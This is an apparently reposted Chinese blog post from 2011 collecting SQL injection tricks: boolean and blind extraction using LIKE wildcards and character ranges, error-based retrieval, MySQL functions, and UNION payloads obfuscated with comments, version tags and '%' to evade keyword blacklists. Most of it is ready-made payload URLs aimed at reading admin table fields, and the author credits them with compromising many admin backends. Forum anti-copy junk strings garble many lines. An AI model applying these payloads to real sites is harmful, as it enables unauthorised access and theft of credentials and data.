基于sqlinjection,介绍一些注射技巧

转自T00LS    http://www.t00ls.net/thread-17035-1-1.html



传统的检测注射方法是通过:- 低调求发展% [. _. Y8 s0
X' v  t0 b

T00LS9 l- O  b/
{/ o+ k6 n

and 1=1 , and 1=2 来判断真假从而判断是否过滤完全,当然,也有 or 1=2,or 1=1,或者
id=1+1 或id=2-1,等等- 低调求发展! r( s2 G* k-
J; p& z


值相信大家不陌生吧,可这么用: and 1 is null,and 1 is not null T00LS+ b& ^7 q9 I, ~1 H
Security3 B4 |1 M5 X% I
或: and
2<=3 
其实,很多人习惯性的用=号来判断了,但是,如: >= ,<= ,is null,is not
null,<>等等 都可用于判断
而对于blind sqlinjection,一般的注射的方法是:3 k/ _5 g( b) Z. L' t:
q


ascii(substring(password,1,1))=56,或者是 
   ord(mid(password,1,1))=56 等等9 I0 ?5
}: x3 _

- 低调求发展- @5 g' K' h.
d; q' `! w/
]

而在sql中有个检索函数like,,我们可以通过table.column来直接锁定字段,这样可以直接抛弃select,from,where等关键字,避免过滤,看看'_'占位符的演示:)
http://url/1.asp?string=wooden'
and admin.user like '_' and '1'='1 false- 低调求发展# l# L$ i: W( K7 u4 u% q2
t


http://url/1.asp?string=wooden' and admin.user like '__' and
'1'='1  false# W, J- l; U4 h' s* v! G/
G


\
http://url/1.asp?string=wooden'
and admin.user like '_____' and '1'='1  true


这样可以直接精确字段,5个占位符=5个字段,而在like函数中我们可以通过 ‘-’符号来检索数据范围,例如:- 低调求发展  Z# Z$ Y" @; }3 q, d  n" t( ~7
z


http://url/1.asp?string=wooden' and admin.user like '[0-9]____'  and '1'='1
false


http://url/1.asp?string=wooden' and
admin.user like '[a-z]____' and '1'='1  true


http://url/1.asp?string=wooden' and admin.user like '[a-h]____' and
'1'='1  true   - 低调求发展. ], K" e2 z4 V#
?/ `0 E


http://url/1.asp?string=wooden' and admin.user like
'[a-b]____' and '1'='1  true


+ Q:
k

http://url/1.asp?string=wooden' and admin.user like 'b____'  and
'1'='1 falseSecurity' M& L9 a  |2
W2 D% W


http://url/1.asp?string=wooden' and admin.user like
'a____' and '1'='1  true


因此,可以确定admin表中user字段的第一个是a,后面的原理相同,通过范围取值来直接爆破数据


T00LS2 R5 ?9 f, C+ n9
H

- 低调求发展. M: [; v8 Y8
d& f; \& o1 y( e

还记得sum函数吧?可以直接套用来确定数据类型; }( E" W+ D6 B% ^, |- I
- 低调求发展0 |$ V: Q' ~2 k0 @: ?$ I8
[

http://url/1.asp?string=wooden' and (sum(admin.user))=1 and
'1'='1T00LS! [- I# i1 c( [% Q! F;
u


当然,也可以利用sql的一些内置函数:www.t00ls.net: ?2 Z8 Y7 s7 m+ P3
v


http://url/1.asp?string=wooden' and len(admin.user)>4 and
'1'='1


g9
i

http://url/1.asp?string=wooden' and
ascii(substring(admin.user,1,1))>100 and '1'='1+ y; j) o9 ^8 ?9 i5 ~



T00LS: |  p  j* {9
m

同时,在witth error模式中可以直接通过' and (admin.user)=0 来获取数据



但是此法有一鸡肋,就是只能针对当前查询语句的表和字段,所以一般比较适合后台登陆口的注射,配合上 having 1=1 (number) 或


d'having '1'='1 (string),曾帮我拿下不少后台:)T00LS0 R, J' J' h  Z6
j


而对于mysql 有一些新型的函数也可用,例如:


find_in_set 例: find_in_set('56',ascii(substr(password,1,1)))=1 T00


LS- I; I: n; `4 Y, j( [- ?& Y4
B

Security0 \( T1 ]6 _7 r7
{

strcmp 例: strcmp(left('password',1), 0x56) = 1- 低调求发展7 [! l! Q' j, N$
r


再说说union,对于常规的注射,我们可以union select 1,2,3,4 或 union/**/select/**/
1,2,3,4T00LS; B0 k) }  J6 Q* `5
]


对于iis 可以通过%来绕过 例如:union selec%t 1,2,3,4-%-www.t00ls.net% E3 `- C8 d  t; z5
B



T00LS# V( @/ G2 F9 @: c0
z

对于mysql却可以:union select 1&id=2,3&id=4-


低调求发展4 P2 ]. n7 R) x" R) d" H*
v

www.t00ls.net3 m: T  G/ T:
D8 e( [

ok
当过滤select时,union/**//*!select*/1,2,3,4或union/&&/s/**/elec/**/t/**/1,2,3,4


甚至还可以union/**//*!5100select*/1&id=2,3&id=4   
//5100为mysql的版本号


同时当语句是多查询且无法注释后面语句时:- 低调求发展/ t4 e5
K. \# l3 m


例如 slect * from table where id = 1 and name =
xxx  ,我们可这么做:T00LS1 e5 F! ~4 D  v/
U


id=1+union/*&name=*/select+1,2


在union注射中,必须让结果为flase,才可执行union,比如:Security& U7 T- K0 l& V! g+ H% B# L$
M4 M


and 1=2 union select xxxxxx


可以这么做:id=wooden'/*!5100and*/ 1 is null union /*!5100select*/ xxxxx
这样即可以饶过大部分黑名单机制

posted on 2011-11-26 14:10  0xcc  阅读(481)  评论(0编辑  收藏  举报

导航